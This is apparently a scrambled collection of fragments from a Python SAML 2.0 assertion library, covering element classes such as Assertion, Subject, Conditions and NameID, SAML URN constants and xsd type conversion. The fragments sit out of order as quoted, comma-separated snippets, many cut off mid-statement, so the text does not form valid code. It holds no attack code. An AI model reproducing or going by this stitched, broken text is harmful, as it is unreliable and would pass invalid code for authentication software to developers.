NameIDType_.c_child_order[:] c_cardinality", "= name_qualifier self.sp_name_qualifier = sp_name_qualifier class NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element", "c_namespace = NAMESPACE c_children = OneTimeUseType_.c_children.copy() c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order", "AuthnStatement(AuthnStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag = 'AuthnStatement' c_namespace =", "}, 'float': { 'type': float, 'to_type': float, 'to_text': _str, },", "= 'NameIDType' c_namespace = NAMESPACE c_value_type = {'base': 'string'} c_children", "= ( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref'] = {\"min\": 0, \"max\": 1}", "def verify(self): # If no statement MUST contain a subject", "'dateTime', False) c_attributes['Recipient'] = ('recipient', 'anyURI', False) c_attributes['InResponseTo'] = ('in_response_to',", "c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\":", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string)", "\"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable in encrypted format NAMEID_FORMAT_ENCRYPTED = (", "{\"min\": 0} c_attributes['Name'] = ('name', 'string', True) c_attributes['NameFormat'] = ('name_format',", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag = 'SubjectConfirmation' c_namespace = NAMESPACE", "= AdviceType_.c_children.copy() c_attributes = AdviceType_.c_attributes.copy() c_child_order = AdviceType_.c_child_order[:] c_cardinality =", "= ('sp_name_qualifier', 'string', False) c_attributes['Format'] = ('format', 'anyURI', False) c_attributes['SPProvidedID']", "= 'KeyInfoConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_):", "behalf of the subject given private/public key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\"", "function to turn a string into that type # -", "element \"\"\" c_tag = 'AuthnStatementType' c_namespace = NAMESPACE c_children =", "'authenticating_authority']) def __init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None, extension_attributes=None):", "https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification was later updated with errata, and", "credentials, over tls/https AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute statements", "made CONSENT_UNSPECIFIED = \"urn:oasis:names:tc:SAML:2.0:consent:unspecified\" # consent has been obtained CONSENT_OBTAINED", "and extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which contains several", "= audience_restriction or [] self.one_time_use = one_time_use or [] self.proxy_restriction", "= NAMESPACE c_children = AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy() c_child_order =", "tree: self._convert_element_tree_to_member(child) for attribute, value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) #", "Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag: statement_from_string, AuthnStatement.c_tag: authn_statement_from_string,", "value=value) raise ValueError(msg) # only work with six.string_types _str =", "{\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) c_any = {\"namespace\": \"##other\",", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace = namespace def action_type__from_string(xml_string): return", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation', [SubjectConfirmation])", "BaseID, 'NameID': NameID, 'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID, 'Issuer':", "1} c_child_order.extend(['key_info']) def __init__(self, key_info=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text,", "= NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy() c_child_order =", "class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element \"\"\" c_tag = 'AuthnContextDecl' c_namespace", "'dateTime', True) c_child_order.extend(['issuer', 'signature', 'subject', 'conditions', 'advice', 'statement', 'authn_statement', 'authz_decision_statement',", "0, \"max\": 1} c_cardinality['advice'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement']", "arbitrary context # the specified action is permitted DECISION_TYPE_PERMIT =", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition'] =", "def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatementType element", "c_child_order = ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions,", "= SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The", "self._extatt[XSI_TYPE] except KeyError: pass def set_text(self, value, base64encode=False): def _wrong_type_value(xsd,", "saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag =", "xml_string) class AttributeStatement(AttributeStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeStatement element \"\"\" c_tag = 'AttributeStatement'", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\":", "xml_string) class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag = 'Statement'", "'to_text': ( lambda x: b64encode(x.encode()) if base64encode else x ),", "c_attributes = EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:] c_cardinality = EvidenceType_.c_cardinality.copy() def", "('issue_instant', 'dateTime', True) c_child_order.extend(['issuer', 'signature', 'subject', 'conditions', 'advice', 'statement', 'authn_statement',", "'to_type': _str, 'to_text': _str, }, 'integer': { 'type': int, 'to_type':", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer = issuer self.signature = signature self.subject", "value base should not have extension attributes\" ) if self.extension_attributes[XSI_NIL]", "NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) # the SAML authority's decision can", "= EvidenceType_.c_cardinality.copy() def evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The", "Assertion, 'AssertionType': AssertionType_, 'Subject': Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType':", "formats include: Email address, X.509 subject name, Windows domain qualified", "or RFC3513 IPv6 address if valid_ipv4(self.address) or valid_ipv6(self.address): pass else:", "( \"urn:oasis:names:tc:SAML:2.0:profiles:attribute:basic\") # an AuthnRequest is made to initiate authentication", "the 3rd party is identified on behalf of the subject", "= encrypted_id self.subject_confirmation_data = subject_confirmation_data self.method = method def subject_confirmation_type__from_string(xml_string):", "self.proxy_restriction: if len(self.proxy_restriction) != 1: raise Exception(\"Cannot be used more", "= address self.dns_name = dns_name def subject_locality_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string)", "saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag =", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnStatement element \"\"\" c_tag = 'AuthnStatement' c_namespace = NAMESPACE c_children", "= issuer self.signature = signature self.subject = subject self.conditions =", "or [] def advice_type__from_string(xml_string): return saml2.create_class_from_xml_string(AdviceType_, xml_string) class Advice(AdviceType_): \"\"\"The", "'Advice'] class EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag = 'EvidenceType'", "specified action is permitted DECISION_TYPE_PERMIT = \"Permit\" # the specified", "XSI_NIL in self.extension_attributes: del self.extension_attributes[XSI_NIL] class BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element", "c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None,", "MUST contain a subject element if self.attribute_statement or self.statement or", "SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Condition']", "'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion, 'AssertionType': AssertionType_,", "self.dns_name: valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class", "xsd_type = ( ['', type(None)] if xsd_string is None else", "= StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] =", "c_cardinality['subject_locality'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context',", "urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag = 'Advice' c_namespace = NAMESPACE c_children", "'false': False, }[_str(x).lower()], 'to_text': lambda x: _str(x).lower(), }, 'base64Binary': {", "'Action': Action, 'ActionType': ActionType_, 'Evidence': Evidence, 'EvidenceType': EvidenceType_, 'AttributeStatement': AttributeStatement,", "one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag:", "# if any question arise please query the following pdf.", "decision def authz_decision_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthzDecisionStatementType_, xml_string) class AuthzDecisionStatement(AuthzDecisionStatementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatement", "urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag = 'Action' c_namespace = NAMESPACE c_children", "c_tag = 'EvidenceType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "element \"\"\" c_tag = 'Evidence' c_namespace = NAMESPACE c_children =", "encrypted_attribute_from_string, } ELEMENT_BY_TAG = { 'BaseID': BaseID, 'NameID': NameID, 'NameIDType':", "self.encrypted_attribute = encrypted_attribute or [] def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string)", "version=None, id=None, issue_instant=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Address'] = ('address', 'string',", "[] self.name = name self.name_format = name_format self.friendly_name = friendly_name", "# consent has been obtained explicitly CONSENT_EXPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" #", "def __init__(self, condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None, text=None, extension_elements=None,", "def __init__(self, attribute=None, encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text,", "= ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_): \"\"\"The", "c_cardinality = ConditionsType_.c_cardinality.copy() def conditions_from_string(xml_string): return saml2.create_class_from_xml_string(Conditions, xml_string) class AuthnStatement(AuthnStatementType_):", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.issuer = issuer self.signature = signature", "name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value", "= ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_, xml_string) class ProxyRestrictionType_(ConditionAbstractType_): \"\"\"The", "0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion', 'encrypted_assertion']) def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None,", "( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) # the", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Advice element \"\"\" c_tag = 'Advice' c_namespace = NAMESPACE", "[Assertion]) AssertionType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice',", "= StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality =", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action = action or [] self.evidence =", "self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or [] def", "xml_string) class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag = 'Action'", "lambda x: b64encode(x.encode()) if base64encode else x ), }, 'anyType':", "c_attributes['SPProvidedID'] = ('sp_provided_id', 'string', False) def __init__(self, name_qualifier=None, sp_name_qualifier=None, format=None,", "= NAMESPACE c_children = ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy() c_child_order =", "not_before self.not_on_or_after = not_on_or_after def verify(self): if self.one_time_use: if len(self.one_time_use)", "c_cardinality['assertion_id_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref']", "{\"min\": 0} c_child_order.extend(['encrypted_data', 'encrypted_key']) def __init__(self, encrypted_data=None, encrypted_key=None, text=None, extension_elements=None,", "= 'AssertionType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string,", "self.authn_statement = authn_statement or [] self.authz_decision_statement = authz_decision_statement or []", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\"", "urn:oasis:names:tc:SAML:2.0:assertion:NameID element From the Oasis SAML2 Technical Overview: \"The <NameID>", "entries of xsd-types each declaring: # - a corresponding python", "ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag = 'ConditionAbstractType' c_namespace =", "c_tag = 'AttributeStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes", "= recipient self.in_response_to = in_response_to self.address = address def subject_confirmation_data_type__from_string(xml_string):", "content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer token is issued", "c_tag = 'Advice' c_namespace = NAMESPACE c_children = AdviceType_.c_children.copy() c_attributes", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag = 'AuthnContextDeclRef' c_namespace = NAMESPACE c_value_type", "# custom subject NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as", "specification was later updated with errata, and the new version", "xsd-types each declaring: # - a corresponding python type #", "failed _wrong_type_value(xsd=xsd_type, value=value) if type(value) is not valid_type: _wrong_type_value(xsd=xsd_type, value=value)", "NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:]", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info = key_info or []", "self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality = subject_locality self.authn_context = authn_context", "('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) # a profile", "session_index=None, session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "NAMESPACE c_children = AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:]", "# - a function to turn a string into that", "ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience',", "return saml2.create_class_from_xml_string(AttributeValue, xml_string) class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag", "def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string) class SubjectConfirmationType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationType element", "'string', False) c_any = {\"namespace\": \"##any\", \"processContents\": \"lax\", \"minOccurs\": \"0\",", "the format determines the category the subject is in #", "0.4. # # A summary of available specifications can be", "AttributeError: self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE", "python type # - a function to turn a string", "encrypted_attribute or [] def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase):", "urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag = 'Evidence' c_namespace = NAMESPACE c_children", "with six.string_types _str = unicode if six.PY2 else str if", "x: None, 'to_text': lambda x: '', }, } xsd_string =", "= 'BaseID' c_namespace = NAMESPACE c_children = BaseIDAbstractType_.c_children.copy() c_attributes =", "= ('id', 'ID', True) c_attributes['IssueInstant'] = ('issue_instant', 'dateTime', True) c_child_order.extend(['issuer',", "#self.clear_type() self.set_text(text) # if we have added a text node", "('in_response_to', 'NCName', False) c_attributes['Address'] = ('address', 'string', False) c_any =", "before the message has been initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" #", "self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE] = typ except", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo]) c_cardinality['key_info'] =", "urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag = 'AttributeValue' c_namespace = NAMESPACE c_value_type", "Oasis SAML2 Technical Overview: \"The <NameID> element within a <Subject>", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDeclRef'] = ( 'authn_context_decl_ref', AuthnContextDeclRef) c_cardinality['authn_context_decl_ref']", "or [] self.evidence = evidence self.resource = resource self.decision =", "issuer self.signature = signature self.subject = subject self.conditions = conditions", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\": 0} c_child_order.extend(['base_id',", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace', 'anyURI', True) def", "string into that type # - a function to turn", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier self.format =", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey']", "c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NotBefore']", "valid_domain_name(self.dns_name) return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase):", "a subject element if self.attribute_statement or self.statement or \\ self.authn_statement", "= ('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) def", "type(None)) to_type = xsd_type_props.get('to_type', str) to_text = xsd_type_props.get('to_text', str) #", "c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Attribute'] = ( 'attribute',", "'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] = {\"min\": 0} c_attributes['Name'] = ('name', 'string',", "__init__(self, issuer=None, signature=None, subject=None, conditions=None, advice=None, statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None,", "bool, 'to_type': lambda x: { 'true': True, 'false': False, }[_str(x).lower()],", "or [] def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class EncryptedID(EncryptedElementType_): \"\"\"The", "as NameFormat def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def", "return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag", "'type': bool, 'to_type': lambda x: { 'true': True, 'false': False,", "# we consider whitespace insignificant # and remove/trim/strip whitespace #", "return saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\" c_tag", "found at: # if any question arise please query the", "urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestriction element \"\"\" c_tag = 'ProxyRestriction' c_namespace = NAMESPACE c_children", "try: value = to_type(value) except (TypeError, ValueError, KeyError): # the", "1} c_attributes['Method'] = ('method', 'anyURI', True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data'])", "= ( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] = {\"min\": 0, \"max\": 1}", "tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string) class", "no consent is needed. CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation", "predefined formats include: Email address, X.509 subject name, Windows domain", "nil type definition for xmlschemas XSI_NIL = '{%s}nil' % XSI_NAMESPACE", "c_cardinality['signature'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject)", "'AudienceRestrictionType' c_namespace = NAMESPACE c_children = ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy()", "authn_context_decl_ref self.authenticating_authority = authenticating_authority or [] def verify(self): if self.authn_context_decl", "SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy()", "[Condition]) c_cardinality['condition'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AudienceRestriction'] = ( 'audience_restriction', [AudienceRestriction])", "if self.proxy_restriction: if len(self.proxy_restriction) != 1: raise Exception(\"Cannot be used", "c_tag = 'BaseIDAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from base64 import encodebytes", "AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType", "self.set_text(text) elif not extension_elements: self.extension_attributes = {XSI_NIL: 'true'} elif XSI_TYPE", "True) c_attributes['NameFormat'] = ('name_format', 'anyURI', False) c_attributes['FriendlyName'] = ('friendly_name', 'string',", "element \"\"\" c_tag = 'Advice' c_namespace = NAMESPACE c_children =", "audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string, ProxyRestriction.c_tag: proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag:", "= AssertionType_.c_cardinality.copy() def assertion_from_string(xml_string): return saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase): \"\"\"The", "= EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string):", "'NCName', False) c_attributes['Address'] = ('address', 'string', False) c_any = {\"namespace\":", "!= \"true\": raise Exception( \"Attribute value base should not have", "or [] self.assertion = assertion or [] self.encrypted_assertion = encrypted_assertion", "\"\"\" c_tag = 'ProxyRestriction' c_namespace = NAMESPACE c_children = ProxyRestrictionType_.c_children.copy()", "has been obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has been", "proxy_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\"", "\"\"\" c_tag = 'AuthnStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy()", "AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatement, xml_string) class", "= ('name_format', 'anyURI', False) c_attributes['FriendlyName'] = ('friendly_name', 'string', False) c_child_order.extend(['attribute_value'])", "c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] = ( 'action', [Action]) c_cardinality['action'] =", "NAMESPACE c_value_type = {'base': 'anyURI'} c_children = SamlBase.c_children.copy() c_attributes =", "extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.namespace = namespace def action_type__from_string(xml_string):", "# authentication information fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition", "= ( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] = {\"min\": 0} c_child_order.extend(['attribute', 'encrypted_attribute'])", "'audience_restriction', 'one_time_use', 'proxy_restriction']) def __init__(self, condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None,", "urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag = 'AdviceType' c_namespace = NAMESPACE c_children", "'EncryptedID': EncryptedID, 'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion,", "xmlschema templates and extensions XS_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' # xmlschema-instance, which", "with errata, and the new version is here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf", "following pdf. # 